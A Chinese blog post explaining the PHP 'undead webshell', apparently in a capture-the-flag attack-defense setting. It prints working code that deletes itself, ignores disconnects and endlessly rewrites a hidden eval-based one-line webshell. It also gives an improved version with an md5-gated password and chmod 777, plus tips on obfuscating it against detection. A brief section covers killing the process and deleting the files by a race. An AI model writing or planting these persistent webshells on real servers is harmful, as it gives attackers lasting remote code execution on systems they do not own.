小记一个PHP不死马

时间:2022-07-23
本文章向大家介绍小记一个PHP不死马,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

如同字面意思一样,不死马怎么样都不会给"杀死"的木马,他是直接写入进程中,无限在指定目录下生成木马文件

<?php
set_time_limit(0);
ignore_user_abort(1); #1表示,忽略与客户端断开连接,继续执行脚本
unlink(__FILE__); #执行完后删除自身
while (1) {
    $content = "<?php @eval($_POST["cmd"]) ?>";
    file_put_contents(".bk.php", $content);
    usleep(10000); #停一会
}
?>

上面就是典型的不死马,当然有几处是有些问题的

1.删除自身,也可以不删除,没什么区别

2.写入的一句话,这类一句话木马可能一下就能查出来,或者别人看到后知道你的php木马的密码是什么,一般情况下也可以加混淆

3.usleep()也不一定需要,有的文件的宗旨在于卡目标机器,所以不断创建文件消耗对方服务器资源也是可以的

正常的PHP一句话木马为

<?php @eval($_POST["cmd"]) ?>

但这样别人看到后也可以直接利用,而且很容易就可以通过命令来找到这个玩意,所以也可以通过混淆一下,或者加个md5密码

<?php
    set_time_limit(0);
    ignore_user_abort(1);
    $file=".shell.php";
    $shell="<?php substr(md5($_GET['x']),28)=='acd0'&&eval($_POST['c']);?>"; #md5=lostwolf
    while(1){
        file_put_contents($file,$shell);
        system('chmod 777 .shell.php');
        touch(".shell.php");
        usleep(50);
    }
;
?>

两个条件同时满足,也就是Md5符合时,这个木马才会生效

杀死不死马的方法

首先 top|grep httpd来查看不死马的进程ID

可以看到ID为 11198111204

接着写php文件

<?php
while(1){
    $pid=11198;
    @unlink('.shell.php');
    exec('kill -9 $pid;');
}
?>

因为不死马的特殊性,所以得条件竞争来删除,当然有的靶机处理比较卡,不需要条件竞争,手动直接kill <pid>就好了

这里拿一辆"公交车"来试验一下,目标机器已经给我种马了,所以直接上传个不死马访问就好了

上传完了之后访问,就会写入进程了,测试一下